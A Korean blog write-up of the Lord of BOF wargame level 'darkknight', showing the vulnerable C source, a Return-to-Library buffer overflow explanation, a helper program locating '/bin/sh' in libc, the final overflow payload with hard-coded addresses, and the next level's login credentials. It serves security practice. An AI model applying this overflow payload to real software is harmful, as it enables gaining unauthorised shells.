일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- OS
- stack overflow
- Payload
- 워게임
- hacking
- Shell code
- 해킹
- SQL
- webhacking
- PWN
- Pwnable.kr
- System
- 운영체제
- 네트워크
- 정보처리기사 실기
- Spring Framework
- Lord of BOF
- system hacking
- BOF
- 정보보안기사
- Buffer Overflow
- pwnable
- wargame
- Spring MVC
- 정보보안기사 실기
- 웹해킹
- webhacking.kr
- LOB
- Operating System
- Spring
- Today
- Total
DongDD's IT
[LOB] Level13 darkknight 본문
[LOB] Level13 darkknight
Problem
이번 문제도 bugbear 실행 파일과 bugbear.c 소스 코드 파일이 있었다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack betrayed you!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
이번 문제에서는 앞선 문제와 조금 다른 부분이 있었다.
먼저 buffer의 size는 40 bytes이고 argv[1]을 입력 받아야하는 것은 똑같았다.
이전 문제들에서는 argv[1]의 48번째 글자에 "\xbf"를 사용해 stack 영역의 변수를 사용했었는데 이번 문제에서는 "\xbf"로 시작하는 주소를 사용할 수 없게 했다.
그리고 마지막에 strcpy를 통해 argv[1]을 buffer에 넣어주는 것은 똑같았다.
소스 코드 윗부분에는 RTL이라는 힌트가 있었고 앞의 문제에서 RTL을 사용해 해결한 문제들도 있었는데 그 문제들과 똑같이 풀면 될 것 같았다.
Solution
1. Return to Library(RTL)
먼저 이 문제에서는 buffer가 40bytes이고 위의 그림처럼 메모리는 형성되어있다.
기본적인 bof는 return address까지만 사용하지만 함수를 사용해야하는 RTL기법에서는 인자를 넣어주어야한다.
return address 이후에 4 bytes의 dummy가 들어가고 이후에 argument를 넣어주어야한다.
먼저 bugbear파일을 ldd를 통해 확인해보았다. 라이브러리의 주소가 바뀌지 않고 고정되어 있는 것으로 ASLR이 걸려있지 않은 것을 알 수 있고 RTL을 사용할 수 있다는 것을 알 수 있다.
Ref) ASLR(Address Space Layout Randomization)
- 메모리 보호 기법 중 하나
- Stack, Heap, Library의 주소를 실행할 때마다 임의의 주소에 배치함으로써 공격을 어렵게 하기 위한 기법
먼저 shell을 얻기 위해 사용할 수 있는 함수는 system()함수이다. gdb를 통해 main에 break point를 설정하고 system()함수의 주소를 알 수 있다.
system() 함수의 주소 : 0x40058ae0
1 2 3 4 5 6 7 8 9 10 11 12 | #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { int sys = 0x40058ae0; // system address while(memcmp((void *)sys, "/bin/sh", 8)) { sys++; } printf("%p\n",sys); } | cs |
그리고 위와 같은 프로그램을 작성해 system()함수의 인자로 넣어줄 "/bin/sh"의 주소를 찾아준다.
"/bin/sh"를 그냥 넣어줄 경우 문자로 인식하기 때문에 Library내에서 system("/bin/sh")에 대한 처리 구문이 있을 것이기 때문에 "/bin/sh"의 주소를 찾아주면 된다.
"/bin/sh"의 주소 : 0x400fbff9
이제 system() 함수 주소와 "/bin/sh"의 주소를 알아냈기 때문에 이 두개를 가지고 Payload를 작성하면 된다.
Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address(4 bytes, system() 함수의 주소, 0x40058ae0) + dummy(4 bytes, "A"*4) + argument1("/bin/sh"의 주소, 0x400fbff9)
위 Payload로 프로그램을 실행해 system("/bin/sh")를 실행시켜 shell을 얻을 수 있었다.
************** Answer & Flag **************
1. Return to Library(RTL)
Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address(4 bytes, system() 함수의 주소, 0x40058ae0) + dummy(4 bytes, "A"*4) + argument1("/bin/sh"의 주소, 0x400fbff9)
argv[1] = "A"*44+ "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"
Next ID : bugbear
Next PW : new divide
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level15 giant (0) | 2018.01.30 |
---|---|
[LOB] Level14 bugbear (0) | 2018.01.27 |
[LOB] level12 golem (0) | 2018.01.25 |
[LOB] Level11 skeleton (0) | 2018.01.24 |
[LOB] Level10 vampire (0) | 2018.01.21 |